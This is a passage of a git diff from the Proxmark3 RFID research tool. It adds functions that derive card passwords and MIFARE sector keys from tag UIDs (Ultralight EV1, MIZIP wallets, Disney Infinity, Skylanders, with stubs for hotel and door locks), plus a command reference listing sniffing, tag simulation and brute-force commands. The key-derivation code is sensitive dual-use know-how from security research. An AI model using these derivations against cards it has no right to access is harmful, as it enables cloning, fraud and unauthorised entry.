uint16_t pack = (uid[0] ^ uid[1] ^ uid[2]) << 8 | (uid[2] ^ 8); + return pack; +} +uint16_t ul_ev1_packgenB(uint8_t *uid) { + return 0x8080; +} +uint16_t ul_ev1_packgenC(uint8_t *uid) { + return 0xaa55; +} +uint16_t ul_ev1_packgenD(uint8_t *uid) { + uint8_t i; + //Rotate + uint8_t r = (uid[2] + uid[5]) & 7; //Rotation offset + uint8_t ru[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; //Rotated UID + for (i = 0; i < 7; i++) + ru[(i + r) & 7] = uid[i]; + + transform_D(ru); + + //Calc pack + uint32_t p = 0; + for (i = 0; i < 8; i++) + p += ru[i] * 13; + + p ^= 0x5555; + return BSWAP_16(p & 0xFFFF); +} + +//------------------------------------ +// MFC key generation stuff +// Each algo implementation should offer two key generation functions. +// 1. function that returns all keys +// 2. function that returns one key, target sector | block +//------------------------------------ + +//------------------------------------ +// MFC keyfile generation stuff +//------------------------------------ +// Vinglock +int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + *key = 0; + return PM3_SUCCESS; +} +int mfc_algo_ving_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++) { + uint64_t key = 0; + mfc_algo_ving_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } + return PM3_SUCCESS; +} + +// Yale Doorman +int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + *key = 0; + return PM3_SUCCESS; +} +int mfc_algo_yale_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++) { + uint64_t key = 0; + mfc_algo_yale_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } + return PM3_SUCCESS; +} + +// Saflok / Maid UID to key. +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + *key = 0; + return PM3_SUCCESS; +} +int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++) { + uint64_t key = 0; + mfc_algo_saflok_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } + return PM3_SUCCESS; +} + +// MIZIP algo +int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (sector > 4) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + + if (sector == 0) { + // A + if (keytype == 0) + *key = 0xA0A1A2A3A4A5U; + else // B + *key = 0xB4C132439eef; + + } else { + + uint8_t xor[6]; + + if (keytype == 0) { + + uint64_t xor_tbl_a[] = { + 0x09125a2589e5, + 0xAB75C937922F, + 0xE27241AF2C09, + 0x317AB72F4490, + }; + + num_to_bytes(xor_tbl_a[sector - 1], 6, xor); + + *key = + (uint64_t)(uid[0] ^ xor[0]) << 40 | + (uint64_t)(uid[1] ^ xor[1]) << 32 | + (uint64_t)(uid[2] ^ xor[2]) << 24 | + (uint64_t)(uid[3] ^ xor[3]) << 16 | + (uint64_t)(uid[0] ^ xor[4]) << 8 | + (uint64_t)(uid[1] ^ xor[5]) + ; + + } else { + uint64_t xor_tbl_b[] = { + 0xF12C8453D821, + 0x73E799FE3241, + 0xAA4D137656AE, + 0xB01327272DFD + }; + + // B + num_to_bytes(xor_tbl_b[sector - 1], 6, xor); + + *key = + (uint64_t)(uid[2] ^ xor[0]) << 40 | + (uint64_t)(uid[3] ^ xor[1]) << 32 | + (uint64_t)(uid[0] ^ xor[2]) << 24 | + (uint64_t)(uid[1] ^ xor[3]) << 16 | + (uint64_t)(uid[2] ^ xor[4]) << 8 | + (uint64_t)(uid[3] ^ xor[5]) + ; + + } + } + return PM3_SUCCESS; +} +// returns all Mifare Mini (MFM) 10 keys. +// keys must have 5*2*6 = 60bytes space +int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 5; sector++) { + uint64_t key = 0; + mfc_algo_mizip_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 5 * 6) + (sector * 6)); + } + } + return PM3_SUCCESS; +} + +// Disney Infinity algo +int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + if (sector > 4) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + + uint8_t hash[64]; + uint8_t input[] = { + 0x0A, 0x14, 0xFD, 0x05, 0x07, 0xFF, 0x4B, 0xCD, + 0x02, 0x6B, 0xA8, 0x3F, 0x0A, 0x3B, 0x89, 0xA9, + uid[0], uid[1], uid[2], uid[3], uid[4], uid[5], uid[6], + 0x28, 0x63, 0x29, 0x20, 0x44, 0x69, 0x73, 0x6E, + 0x65, 0x79, 0x20, 0x32, 0x30, 0x31, 0x33 + }; + + mbedtls_sha1(input, sizeof(input), hash); + + *key = ( + (uint64_t)hash[3] << 40 | + (uint64_t)hash[2] << 32 | + (uint64_t)hash[1] << 24 | + (uint64_t)hash[0] << 16 | + (uint64_t)hash[7] << 8 | + hash[6] + ); + + return PM3_SUCCESS; +} +int mfc_algo_di_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 5; sector++) { + uint64_t key = 0; + mfc_algo_di_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 5 * 6) + (sector * 6)); + } + } + return PM3_SUCCESS; +} + +// Skylanders +static uint64_t sky_crc64_like(uint64_t result, uint8_t sector) { +#define SKY_POLY UINT64_C(0x42f0e1eba9ea3693) +#define SKY_TOP UINT64_C(0x800000000000) + result ^= (uint64_t)sector << 40; + for (int i = 0; i < 8; i++) { + result = (result & SKY_TOP) ? (result << 1) ^ SKY_POLY : result << 1; + } + return result; +} +int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key) { + +#define SKY_KEY_MASK 0xFFFFFFFFFFFF + + if (sector > 15) return PM3_EINVARG; + if (key == NULL) return PM3_EINVARG; + + if (sector == 0 && keytype == 0) { + *key = 0x4B0B20107CCB; + return PM3_SUCCESS; + } + if (keytype == 1) { + *key = 0x000000000000; + return PM3_SUCCESS; + } + + // hash UID + uint64_t hash = 0x9AE903260CC4; + for (int i = 0; i < 4; i++) { + hash = sky_crc64_like(hash, uid[i]); + } + + uint64_t sectorhash = sky_crc64_like(hash, sector); + *key = BSWAP_64(sectorhash & SKY_KEY_MASK) >> 16; + return PM3_SUCCESS; +} +int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys) { + if (keys == NULL) return PM3_EINVARG; + for (int keytype = 0; keytype < 2; keytype++) { + for (int sector = 0; sector < 16; sector++) { + uint64_t key = 0; + mfc_algo_sky_one(uid, sector, keytype, &key); + num_to_bytes(key, 6, keys + (keytype * 16 * 6) + (sector * 6)); + } + } + return PM3_SUCCESS; +} + +//------------------------------------ +// Self tests +//------------------------------------ +int generator_selftest() { + + PrintAndLogEx(SUCCESS, "Generators selftest"); + PrintAndLogEx(SUCCESS, "-------------------"); + + bool success; + + uint8_t uid1[] = {0x04, 0x11, 0x12, 0x11, 0x12, 0x11, 0x10}; + uint32_t pwd1 = ul_ev1_pwdgenA(uid1); + success = (pwd1 == 0x8432EB17); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid1, 7), pwd1, success ? "OK" : "->8432EB17<-"); + + uint8_t uid2[] = {0x04, 0x1f, 0x98, 0xea, 0x1e, 0x3e, 0x81}; + uint32_t pwd2 = ul_ev1_pwdgenB(uid2); + success = (pwd2 == 0x5fd37eca); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid2, 7), pwd2, success ? "OK" : "->5fd37eca<--"); + + uint8_t uid3[] = {0x04, 0x62, 0xB6, 0x8A, 0xB4, 0x42, 0x80}; + uint32_t pwd3 = ul_ev1_pwdgenC(uid3); + success = (pwd3 == 0x5a349515); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid3, 7), pwd3, success ? "OK" : "->5a349515<--"); + + uint8_t uid4[] = {0x04, 0xC5, 0xDF, 0x4A, 0x6D, 0x51, 0x80}; + uint32_t pwd4 = ul_ev1_pwdgenD(uid4); + success = (pwd4 == 0x72B1EC61); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %08X | %s", sprint_hex(uid4, 7), pwd4, success ? "OK" : "->72B1EC61<--"); + +// uint8_t uid5[] = {0x11, 0x22, 0x33, 0x44}; +// uint64_t key1 = mfc_algo_a(uid5); +// success = (key1 == 0xD1E2AA68E39A); +// PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" | %s", sprint_hex(uid5, 4), key1, success ? "OK" : "->D1E2AA68E39A<--"); + + uint8_t uid6[] = {0x74, 0x57, 0xCA, 0xA9}; + uint64_t key6 = 0; + mfc_algo_sky_one(uid6, 15, 0, &key6); + success = (key6 == 0x82c7e64bc565); + PrintAndLogEx(success ? SUCCESS : WARNING, "UID | %s | %"PRIx64" | %s", sprint_hex(uid6, 4), key6, success ? "OK" : "->82C7E64BC565<--"); + + PrintAndLogEx(SUCCESS, "-------------------"); + return PM3_SUCCESS; +} + diff --git a/common/generator.h b/common/generator.h new file mode 100644 index 000000000..d7ca2b8ee --- /dev/null +++ b/common/generator.h @@ -0,0 +1,48 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Generator commands +//----------------------------------------------------------------------------- + +#ifndef GENERATOR_H__ +#define GENERATOR_H__ + +#include "common.h" + +uint32_t ul_ev1_pwdgenA(uint8_t *uid); +uint32_t ul_ev1_pwdgenB(uint8_t *uid); +uint32_t ul_ev1_pwdgenC(uint8_t *uid); +uint32_t ul_ev1_pwdgenD(uint8_t *uid); + +uint16_t ul_ev1_packgenA(uint8_t *uid); +uint16_t ul_ev1_packgenB(uint8_t *uid); +uint16_t ul_ev1_packgenC(uint8_t *uid); +uint16_t ul_ev1_packgenD(uint8_t *uid); + +int mfc_algo_ving_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_ving_all(uint8_t *uid, uint8_t *keys); + +int mfc_algo_yale_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_yale_all(uint8_t *uid, uint8_t *keys); + +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); + +int mfc_algo_saflok_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_saflok_all(uint8_t *uid, uint8_t *keys); + +int mfc_algo_mizip_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_mizip_all(uint8_t *uid, uint8_t *keys); + +int mfc_algo_di_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_di_all(uint8_t *uid, uint8_t *keys); + +int mfc_algo_sky_one(uint8_t *uid, uint8_t sector, uint8_t keytype, uint64_t *key); +int mfc_algo_sky_all(uint8_t *uid, uint8_t *keys); + +int generator_selftest(); +#endif diff --git a/common/iso15693tools.h b/common/iso15693tools.h index 42b2152cc..62ad85499 100644 --- a/common/iso15693tools.h +++ b/common/iso15693tools.h @@ -51,21 +51,45 @@ #define ISO15_ERROR_BLOCL_WRITELOCK 0x14 // Locking was unsuccessful // COMMAND CODES -#define ISO15_CMD_INVENTORY 0x01 -#define ISO15_CMD_STAYQUIET 0x02 -#define ISO15_CMD_READ 0x20 -#define ISO15_CMD_WRITE 0x21 -#define ISO15_CMD_LOCK 0x22 -#define ISO15_CMD_READMULTI 0x23 -#define ISO15_CMD_WRITEMULTI 0x24 -#define ISO15_CMD_SELECT 0x25 -#define ISO15_CMD_RESET 0x26 -#define ISO15_CMD_WRITEAFI 0x27 -#define ISO15_CMD_LOCKAFI 0x28 -#define ISO15_CMD_WRITEDSFID 0x29 -#define ISO15_CMD_LOCKDSFID 0x2A -#define ISO15_CMD_SYSINFO 0x2B -#define ISO15_CMD_SECSTATUS 0x2C +#define ISO15_CMD_INVENTORY 0x01 +#define ISO15_CMD_STAYQUIET 0x02 +#define ISO15_CMD_READ 0x20 +#define ISO15_CMD_WRITE 0x21 +#define ISO15_CMD_LOCK 0x22 +#define ISO15_CMD_READMULTI 0x23 +#define ISO15_CMD_WRITEMULTI 0x24 +#define ISO15_CMD_SELECT 0x25 +#define ISO15_CMD_RESET 0x26 +#define ISO15_CMD_WRITEAFI 0x27 +#define ISO15_CMD_LOCKAFI 0x28 +#define ISO15_CMD_WRITEDSFID 0x29 +#define ISO15_CMD_LOCKDSFID 0x2A +#define ISO15_CMD_SYSINFO 0x2B +#define ISO15_CMD_SECSTATUS 0x2C +#define ISO15_CMD_INVENTORYREAD 0xA0 +#define ISO15_CMD_FASTINVENTORYREAD 0xA1 +#define ISO15_CMD_SETEAS 0xA2 +#define ISO15_CMD_RESETEAS 0xA3 +#define ISO15_CMD_LOCKEAS 0xA4 +#define ISO15_CMD_EASALARM 0xA5 +#define ISO15_CMD_PASSWORDPROTECTEAS 0xA6 +#define ISO15_CMD_WRITEEASID 0xA7 +#define ISO15_CMD_READEPC 0xA8 +#define ISO15_CMD_GETNXPSYSTEMINFO 0xAB +#define ISO15_CMD_INVENTORYPAGEREAD 0xB0 +#define ISO15_CMD_FASTINVENTORYPAGEREAD 0xB1 +#define ISO15_CMD_GETRANDOMNUMBER 0xB2 +#define ISO15_CMD_SETPASSWORD 0xB3 +#define ISO15_CMD_WRITEPASSWORD 0xB4 +#define ISO15_CMD_LOCKPASSWORD 0xB5 +#define ISO15_CMD_PROTECTPAGE 0xB6 +#define ISO15_CMD_LOCKPAGEPROTECTION 0xB7 +#define ISO15_CMD_GETMULTIBLOCKPROTECTION 0xB8 +#define ISO15_CMD_DESTROY 0xB9 +#define ISO15_CMD_ENABLEPRIVACY 0xBA +#define ISO15_CMD_64BITPASSWORDPROTECTION 0xBB +#define ISO15_CMD_STAYQUIETPERSISTENT 0xBC +#define ISO15_CMD_READSIGNATURE 0xBD //----------------------------------------------------------------------------- // Map a sequence of octets (~layer 2 command) into the set of bits to feed diff --git a/common/lfdemod.c b/common/lfdemod.c index 2a9983130..4dcd46172 100644 --- a/common/lfdemod.c +++ b/common/lfdemod.c @@ -206,7 +206,7 @@ void getHiLo(int *high, int *low, uint8_t fuzzHi, uint8_t fuzzLo) { *low = signalprop.low; } - prnt("getHiLo fuzzed: High %d | Low %d", *high, *low); + // prnt("getHiLo fuzzed: High %d | Low %d", *high, *low); } // by marshmellow @@ -1566,7 +1566,7 @@ static uint16_t cleanAskRawDemod(uint8_t *bits, size_t *size, int clk, int inver } if (*startIdx == 0) { *startIdx = i - clk; - prnt("DEBUG ASK: cleanAskRawDemod minus clock [%d]", *startIdx); + if (g_debugMode == 2) prnt("DEBUG ASK: cleanAskRawDemod minus clock [%d]", *startIdx); } waveHigh = !waveHigh; smplCnt = 0; @@ -1587,7 +1587,7 @@ static uint16_t cleanAskRawDemod(uint8_t *bits, size_t *size, int clk, int inver } if (*startIdx == 0) { *startIdx = i - cl_2; - prnt("DEBUG ASK: cleanAskRawDemod minus half clock [%d]", *startIdx); + if (g_debugMode == 2) prnt("DEBUG ASK: cleanAskRawDemod minus half clock [%d]", *startIdx); } waveHigh = !waveHigh; smplCnt = 0; @@ -1651,12 +1651,12 @@ int askdemod_ext(uint8_t *bits, size_t *size, int *clk, int *invert, int maxErr, errCnt = manrawdecode(bits, size, 0, &alignPos); *startIdx += ((*clk / 2) * alignPos); - prnt("DEBUG: (askdemod_ext) CLEAN: startIdx %i, alignPos %u , bestError %zu", *startIdx, alignPos, errCnt); + if (g_debugMode == 2) prnt("DEBUG: (askdemod_ext) CLEAN: startIdx %i, alignPos %u , bestError %zu", *startIdx, alignPos, errCnt); } return errCnt; } - prnt("DEBUG: (askdemod_ext) Weak wave detected: startIdx %i", *startIdx); + if (g_debugMode == 2) prnt("DEBUG: (askdemod_ext) Weak wave detected: startIdx %i", *startIdx); int lastBit; //set first clock check - can go negative size_t i, bitnum = 0; //output counter diff --git a/common/mbedtls/x509_crt.c b/common/mbedtls/x509_crt.c index de3e5ece8..9f8e64ed6 100644 --- a/common/mbedtls/x509_crt.c +++ b/common/mbedtls/x509_crt.c @@ -2223,7 +2223,7 @@ exit: ret = MBEDTLS_ERR_X509_FATAL_ERROR; if (ret != 0) { - *flags = (uint32_t) -1; + *flags = (uint32_t) - 1; return (ret); } diff --git a/common/zlib/inflate.c b/common/zlib/inflate.c index 0eb9ed787..753671080 100644 --- a/common/zlib/inflate.c +++ b/common/zlib/inflate.c @@ -1555,7 +1555,7 @@ unsigned long ZEXPORT inflateCodesUsed(strm) z_streamp strm; { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return (unsigned long) -1; + if (inflateStateCheck(strm)) return (unsigned long) - 1; state = (struct inflate_state FAR *)strm->state; return (unsigned long)(state->next - state->codes); } diff --git a/common_arm/Makefile.common b/common_arm/Makefile.common index 36887707c..be5d2a847 100644 --- a/common_arm/Makefile.common +++ b/common_arm/Makefile.common @@ -42,7 +42,7 @@ INCLUDES = ../include/proxmark3_arm.h ../include/at91sam7s512.h ../include/confi CFLAGS ?= -Wall -Werror -pedantic -Wunused -Os -mthumb-interwork CFLAGS += -c $(INCLUDE) -std=c99 $(APP_CFLAGS) -LDFLAGS += -nostartfiles -nodefaultlibs -Wl,-gc-sections -n +LDFLAGS += -nostartfiles -nodefaultlibs -Wl,-gc-sections -Wl,--build-id=none -n LIBS = -lgcc # Flags to generate temporary dependency files diff --git a/common_arm/Makefile.hal b/common_arm/Makefile.hal index 22ae385c3..455672e5f 100644 --- a/common_arm/Makefile.hal +++ b/common_arm/Makefile.hal @@ -56,7 +56,7 @@ endef PLTNAME = Unknown Platform ifeq ($(PLATFORM),PM3RDV4) - PLATFORM_DEFS = -DWITH_SMARTCARD -DWITH_FLASH + PLATFORM_DEFS = -DWITH_SMARTCARD -DWITH_FLASH -DRDV4 PLTNAME = Proxmark3 rdv4 else ifeq ($(PLATFORM),PM3OTHER) PLTNAME = Proxmark3 Generic target @@ -92,7 +92,8 @@ PLATFORM_DEFS += \ -DWITH_ICLASS \ -DWITH_FELICA \ -DWITH_NFCBARCODE \ - -DWITH_HFSNIFF + -DWITH_HFSNIFF \ + -DWITH_HFPLOT # Standalone mode diff --git a/common_arm/usb_cdc.c b/common_arm/usb_cdc.c index dd8d2f7c4..b146715a1 100644 --- a/common_arm/usb_cdc.c +++ b/common_arm/usb_cdc.c @@ -573,7 +573,7 @@ bool usb_check() { if (isr & AT91C_UDP_ENDBUSRES) { pUdp->UDP_ICR = AT91C_UDP_ENDBUSRES; // reset all endpoints - pUdp->UDP_RSTEP = (unsigned int) -1; + pUdp->UDP_RSTEP = (unsigned int) - 1; pUdp->UDP_RSTEP = 0; // Enable the function pUdp->UDP_FADDR = AT91C_UDP_FEN; diff --git a/common_fpga/fpga.h b/common_fpga/fpga.h index 5ab015f57..31580d8c9 100644 --- a/common_fpga/fpga.h +++ b/common_fpga/fpga.h @@ -14,6 +14,8 @@ #define FPGA_INTERLEAVE_SIZE 288 #define FPGA_CONFIG_SIZE 42336L // our current fpga_[lh]f.bit files are 42175 bytes. Rounded up to next multiple of FPGA_INTERLEAVE_SIZE +#define FPGA_TRACE_SIZE 3072 + static const uint8_t bitparse_fixed_header[] = {0x00, 0x09, 0x0f, 0xf0, 0x0f, 0xf0, 0x0f, 0xf0, 0x0f, 0xf0, 0x00, 0x00, 0x01}; extern const int fpga_bitstream_num; extern const char *const fpga_version_information[]; diff --git a/covsubmit.sh b/covsubmit.sh index dcfda0999..e39240954 100755 --- a/covsubmit.sh +++ b/covsubmit.sh @@ -6,7 +6,7 @@ set -e pre_submit_hook ## delete all previous tarballs -rm proxmark3.all.*.tgz proxmark3.all.*.log +rm -f proxmark3.all.*.tgz proxmark3.all.*.log TODAY="$(date --date now +%Y%m%d.%H%M)" VERSION="0.1.$TODAY" diff --git a/doc/commands.md b/doc/commands.md new file mode 100644 index 000000000..ba9f14c93 --- /dev/null +++ b/doc/commands.md @@ -0,0 +1,909 @@ + +# Proxmark3 command dump + + +Some commands are available only if a Proxmark3 is actually connected. + +Check column "offline" for their availability. + + + +|command |offline |description +|------- |------- |----------- +|`help `|Y |`This help. Use ' help' for details of a particular command.` +|`auto `|N |`Automated detection process for unknown tags` +|`msleep `|Y |`Add a pause in milliseconds` +|`rem `|Y |`Add a text line in log file` +|`quit `|Y |`` +|`exit `|Y |`Exit program` + + +### analyse + + { Analyse utils... } + +|command |offline |description +|------- |------- |----------- +|`analyse help `|Y |`This help` +|`analyse lcr `|Y |`Generate final byte for XOR LRC` +|`analyse crc `|Y |`Stub method for CRC evaluations` +|`analyse chksum `|Y |`Checksum with adding, masking and one's complement` +|`analyse dates `|Y |`Look for datestamps in a given array of bytes` +|`analyse tea `|Y |`Crypto TEA test` +|`analyse lfsr `|Y |`LFSR tests` +|`analyse a `|Y |`num bits test` +|`analyse nuid `|Y |`create NUID from 7byte UID` +|`analyse demodbuff `|Y |`Load binary string to demodbuffer` + + +### data + + { Plot window / data buffer manipulation... } + +|command |offline |description +|------- |------- |----------- +|`data help `|Y |`This help` +|`data askedgedetect `|Y |`[threshold] Adjust Graph for manual ASK demod using the length of sample differences to detect the edge of a wave (use 20-45, def:25)` +|`data autocorr `|Y |`[window length] [g] -- Autocorrelation over window - g to save back to GraphBuffer (overwrite)` +|`data biphaserawdecode `|Y |`[offset] [invert<0|1>] [maxErr] -- Biphase decode bin stream in DemodBuffer (offset = 0|1 bits to shift the decode start)` +|`data bin2hex `|Y |` -- Converts binary to hexadecimal` +|`data bitsamples `|N |`Get raw samples as bitstring` +|`data buffclear `|Y |`Clears bigbuff on deviceside and graph window` +|`data convertbitstream `|Y |`Convert GraphBuffer's 0/1 values to 127 / -127` +|`data dec `|Y |`Decimate samples` +|`data detectclock `|Y |`[] Detect ASK, FSK, NRZ, PSK clock rate of wave in GraphBuffer` +|`data fsktonrz `|Y |`Convert fsk2 to nrz wave for alternate fsk demodulating (for weak fsk)` +|`data getbitstream `|Y |`Convert GraphBuffer's >=1 values to 1 and <1 to 0` +|`data grid `|Y |` -- overlay grid on graph window, use zero value to turn off either` +|`data hexsamples `|N |` [] -- Dump big buffer as hex bytes` +|`data hex2bin `|Y |` -- Converts hexadecimal to binary` +|`data hide `|Y |`Hide graph window` +|`data hpf `|Y |`Remove DC offset from trace` +|`data load `|Y |` -- Load trace (to graph window` +|`data ltrim `|Y |` -- Trim samples from left of trace` +|`data rtrim `|Y |` -- Trim samples from right of trace` +|`data mtrim `|Y |` -- Trim out samples from the specified start to the specified stop` +|`data manrawdecode `|Y |`[invert] [maxErr] -- Manchester decode binary stream in DemodBuffer` +|`data norm `|Y |`Normalize max/min to +/-128` +|`data plot `|Y |`Show graph window (hit 'h' in window for keystroke help)` +|`data printdemodbuffer `|Y |`[x] [o] [l] -- print the data in the DemodBuffer - 'x' for hex output` +|`data rawdemod `|Y |`[modulation] ... -see help (h option) -- Demodulate the data in the GraphBuffer and output binary` +|`data samples `|N |`[512 - 40000] -- Get raw samples for graph window (GraphBuffer)` +|`data save `|Y |`Save trace (from graph window)` +|`data setgraphmarkers `|Y |`[orange_marker] [blue_marker] (in graph window)` +|`data scale `|Y |` -- Set cursor display scale in carrier frequency expressed in kHz` +|`data setdebugmode `|Y |`<0|1|2> -- Set Debugging Level on client side` +|`data shiftgraphzero `|Y |` -- Shift 0 for Graphed wave + or - shift value` +|`data dirthreshold `|Y |` -- Max rising higher up-thres/ Min falling lower down-thres, keep rest as prev.` +|`data tune `|N |`Get hw tune samples for graph window` +|`data undec `|Y |`Un-decimate samples by 2` +|`data zerocrossings `|Y |`Count time between zero-crossings` +|`data iir `|Y |`apply IIR buttersworth filter on plotdata` + + +### emv + + { EMV ISO-14443 / ISO-7816... } + +|command |offline |description +|------- |------- |----------- +|`emv help `|Y |`This help` +|`emv exec `|N |`Executes EMV contactless transaction.` +|`emv pse `|N |`Execute PPSE. It selects 2PAY.SYS.DDF01 or 1PAY.SYS.DDF01 directory.` +|`emv search `|N |`Try to select all applets from applets list and print installed applets.` +|`emv select `|N |`Select applet.` +|`emv gpo `|N |`Execute GetProcessingOptions.` +|`emv readrec `|N |`Read files from card.` +|`emv genac `|N |`Generate ApplicationCryptogram.` +|`emv challenge `|N |`Generate challenge.` +|`emv intauth `|N |`Internal authentication.` +|`emv scan `|N |`Scan EMV card and save it contents to json file for emulator.` +|`emv test `|Y |`Crypto logic test.` +|`emv list `|Y |`List ISO7816 history` +|`emv roca `|N |`Extract public keys and run ROCA test` + + +### hf + + { High frequency commands... } + +|command |offline |description +|------- |------- |----------- +|`hf help `|Y |`This help` +|`hf list `|Y |`List protocol data in trace buffer` +|`hf tune `|N |`Continuously measure HF antenna tuning` +|`hf search `|Y |`Search for known HF tags` +|`hf sniff `|N |` Generic HF Sniff` + + +### hf 14a + + { ISO14443A RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf 14a help `|Y |`This help` +|`hf 14a list `|Y |`List ISO 14443-a history` +|`hf 14a info `|N |`Tag information` +|`hf 14a reader `|N |`Act like an ISO14443-a reader` +|`hf 14a cuids `|N |` Collect n>0 ISO14443-a UIDs in one go` +|`hf 14a sim `|N |` -- Simulate ISO 14443-a tag` +|`hf 14a sniff `|N |`sniff ISO 14443-a traffic` +|`hf 14a apdu `|N |`Send ISO 14443-4 APDU to tag` +|`hf 14a chaining `|N |`Control ISO 14443-4 input chaining` +|`hf 14a raw `|N |`Send raw hex data to tag` +|`hf 14a antifuzz `|N |`Fuzzing the anticollision phase. Warning! Readers may react strange` + + +### hf 14b + + { ISO14443B RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf 14b help `|Y |`This help` +|`hf 14b dump `|N |`Read all memory pages of an ISO14443-B tag, save to file` +|`hf 14b info `|N |`Tag information` +|`hf 14b list `|Y |`List ISO 14443B history` +|`hf 14b raw `|N |`Send raw hex data to tag` +|`hf 14b reader `|N |`Act as a 14443B reader to identify a tag` +|`hf 14b sim `|N |`Fake ISO 14443B tag` +|`hf 14b sniff `|N |`Eavesdrop ISO 14443B` +|`hf 14b sriread `|N |`Read contents of a SRI512 | SRIX4K tag` +|`hf 14b sriwrite `|N |`Write data to a SRI512 | SRIX4K tag` + + +### hf 15 + + { ISO15693 RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf 15 help `|Y |`This help` +|`hf 15 demod `|Y |`Demodulate ISO15693 from tag` +|`hf 15 dump `|N |`Read all memory pages of an ISO15693 tag, save to file` +|`hf 15 findafi `|N |`Brute force AFI of an ISO15693 tag` +|`hf 15 writeafi `|N |`Writes the AFI on an ISO15693 tag` +|`hf 15 writedsfid `|N |`Writes the DSFID on an ISO15693 tag` +|`hf 15 info `|N |`Tag information` +|`hf 15 list `|Y |`List ISO15693 history` +|`hf 15 raw `|N |`Send raw hex data to tag` +|`hf 15 reader `|N |`Act like an ISO15693 reader` +|`hf 15 record `|N |`Record Samples (ISO15693)` +|`hf 15 restore `|N |`Restore from file to all memory pages of an ISO15693 tag` +|`hf 15 sim `|N |`Fake an ISO15693 tag` +|`hf 15 samples `|N |`Acquire Samples as Reader (enables carrier, sends inquiry)` +|`hf 15 read `|N |`Read a block` +|`hf 15 write `|N |`Write a block` +|`hf 15 readmulti `|N |`Reads multiple Blocks` +|`hf 15 csetuid `|N |`Set UID for magic Chinese card` + + +### hf epa + + { German Identification Card... } + +|command |offline |description +|------- |------- |----------- +|`hf epa help `|Y |`This help` +|`hf epa cnonces `|N |` Acquire n>0 encrypted PACE nonces of size m>0 with d sec pauses` +|`hf epa preplay `|N |` Perform PACE protocol by replaying given APDUs` + + +### hf felica + + { ISO18092 / Felica RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf felica help `|Y |`This help` +|`hf felica list `|Y |`List ISO 18092/FeliCa history` +|`hf felica reader `|N |`Act like an ISO18092/FeliCa reader` +|`hf felica sniff `|N |`Sniff ISO 18092/FeliCa traffic` +|`hf felica raw `|N |`Send raw hex data to tag` +|`hf felica rqservice `|N |`verify the existence of Area and Service, and to acquire Key Version.` +|`hf felica rqresponse `|N |`verify the existence of a card and its Mode.` +|`hf felica rdunencrypted`|N |`read Block Data from authentication-not-required Service.` +|`hf felica wrunencrypted`|N |`write Block Data to an authentication-not-required Service.` +|`hf felica scsvcode `|N |`acquire Area Code and Service Code.` +|`hf felica rqsyscode `|N |`acquire System Code registered to the card.` +|`hf felica auth1 `|N |`authenticate a card. Start mutual authentication with Auth1` +|`hf felica auth2 `|N |`allow a card to authenticate a Reader/Writer. Complete mutual authentication` +|`hf felica read 